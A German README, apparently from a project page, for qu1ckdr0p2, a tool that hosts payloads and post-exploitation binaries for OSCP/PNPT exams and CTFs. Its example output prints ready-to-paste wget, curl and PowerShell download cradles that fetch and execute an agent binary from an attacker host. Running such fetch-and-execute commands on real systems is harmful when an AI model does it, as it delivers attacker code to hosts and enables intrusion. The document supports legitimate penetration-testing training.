Über

Payloads und Post-Exploitation-Binaries schnell über HTTP oder HTTPS hosten.

Entwickelt für Prüfungen wie OSCP / PNPT oder CTFs wie HTB usw.

Pull-Requests und Issues sind willkommen. Ebenso wie jegliche Beiträge.

Qu1ckdr0p2 verfügt über eine Alias- und Suchfunktion. Die Tools befinden sich im Repository qu1ckdr0p2-tools. Standardmäßig wird ein selbstsigniertes Zertifikat für die Verwendung der Option --https generiert. Priorität erhält außerdem das tun0-Interface, wenn der Webserver läuft, ansonsten wird eth0 verwendet.

Die Datei common.ini definiert die zugeordneten Aliase, die in den Optionen --search und -u verwendet werden.

Wenn der Webserver läuft, werden mehrere Download-Cradles auf dem Bildschirm angezeigt, die Sie kopieren und einfügen können.

HINWEIS

Wenn Sie ein Download-Cradle kopieren und einfügen möchten, müssen Sie je nach Terminalemulator möglicherweise SCHNELL drei- oder zweimal auf das Download-Cradle klicken, um es zum Kopieren zu markieren. Dies wird in einer späteren Version behoben.

Installation

Die Installation mit pip ist die einzige unterstützte Methode

Das Klonen dieses Repos zur Installation wird wahrscheinlich etwas kaputt machen

pip3 install qu1ckdr0p2

echo "alias serv='~/.local/bin/serv'" >> ~/.zshrc
source ~/.zshrc

or

echo "alias serv='~/.local/bin/serv'" >> ~/.bashrc
source ~/.bashrc

serv init --update

Nutzung

Eine einzelne Datei aus dem aktuellen Arbeitsverzeichnis serven

$ serv serve -f implant.bin --https 443

$ serv serve -f file.example --http 8080

Update und Hilfe

$ serv --help            
Usage: serv [OPTIONS] COMMAND [ARGS]...

  Welcome to qu1ckdr0p2 entry point.

Options:
  --debug  Enable debug mode.
  --help   Show this message and exit.

Commands:
  init   Perform updates.
  serve  Serve files.

$ serv serve --help
Usage: serv serve [OPTIONS]

  Serve files.

Options:
  -l, --list         List aliases
  -s, --search TEXT  Search query for aliases
  -u, --use INTEGER  Use an alias by a dynamic number
  -f, --file FILE    Serve a file
  --http INTEGER     Use HTTP with a custom port
  --https INTEGER    Use HTTPS with a custom port
  -h, --help         Show this message and exit.

$ serv init --help       
Usage: serv init [OPTIONS]

  Perform updates.

Options:
  --update            Check and download missing tools.
  --update-self       Update the tool using pip.
  --update-self-test  Used for dev testing, installs unstable build.
  --help              Show this message and exit.

$ serv init --update

$ serv init --update-self

Eine Datei über einen zugeordneten Alias serven

Die zugeordneten Alias-Nummern für die Option -u sind dynamisch, sodass Sie sich keine bestimmten Nummern merken oder einen Toolnamen eingeben müssen.

$ serv serve --search ligolo               

[→] Path: ~/.qu1ckdr0p2/windows/agent.exe
[→] Alias: ligolo_agent_win
[→] Use: 1

[→] Path: ~/.qu1ckdr0p2/windows/proxy.exe
[→] Alias: ligolo_proxy_win
[→] Use: 2

[→] Path: ~/.qu1ckdr0p2/linux/agent
[→] Alias: ligolo_agent_linux
[→] Use: 3

[→] Path: ~/.qu1ckdr0p2/linux/proxy
[→] Alias: ligolo_proxy_linux
[→] Use: 4
(...)

$ serv serve --search ligolo -u 3 --http 80

[→] Serving: ../../.qu1ckdr0p2/linux/agent
[→] Protocol: http
[→] IP address: 192.168.1.5
[→] Port: 80
[→] Interface: eth0
[→] CTRL+C to quit

[→] URL: http://192.168.1.5:80/agent

[↓] csharp:
$webclient = New-Object System.Net.WebClient; $webclient.DownloadFile('http://192.168.1.5:80/agent', 'c:\windows\temp\agent'); Start-Process 'c:\windows\temp\agent'

[↓] wget:
wget http://192.168.1.5:80/agent -O /tmp/agent && chmod +x /tmp/agent && /tmp/agent

[↓] curl:
curl http://192.168.1.5:80/agent -o /tmp/agent && chmod +x /tmp/agent && /tmp/agent

[↓] powershell:
Invoke-WebRequest -Uri http://192.168.1.5:80/agent -OutFile c:\windows\temp\agent; Start-Process c:\windows\temp\agent

⠧ Web server running

Lizenz

MIT

qu1ckdr0p2

Beliebteste